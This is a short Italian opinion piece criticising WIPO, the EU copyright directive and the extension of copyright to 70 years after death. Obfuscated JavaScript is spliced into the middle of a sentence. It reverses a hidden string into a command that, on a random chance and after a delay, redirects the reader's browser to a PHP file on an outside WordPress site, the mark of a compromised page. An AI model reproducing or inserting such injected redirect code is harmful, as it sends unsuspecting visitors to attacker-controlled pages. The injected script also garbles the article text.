Attenti al WIPO

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Si chiama Wipo – World Intellectual Property Organization (www.wipo.org) -, è il Wto della produzione intellettuale: impone superdirettive ai paesi aderenti. L’Italia sta recependo la nuova legge europea sul diritto d’autore (www.softwarelibero.it/progetti/eucd/analisi.shtml), che accoglie le raccom (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andazioni del Wipo. Grazie a questo organismo e all’era digitale, l’editore neoliberista potrà realizzare il sogno proibito: libri, musica e software saranno venduti via computer, l’accesso durerà un tempo limitato, e non sarà possibile stamparli né copiarli, se non a pagamento e in cambio dei dati personali.
Il recente allungamento a 70 anni del diritto d’autore post mortem, approvato affinché la Mondadori berlusconiana non perdesse gli enormi diritti sulle opere di Pirandello, sembra ormai uno scherzo da scolaretti.
(ca.l.)

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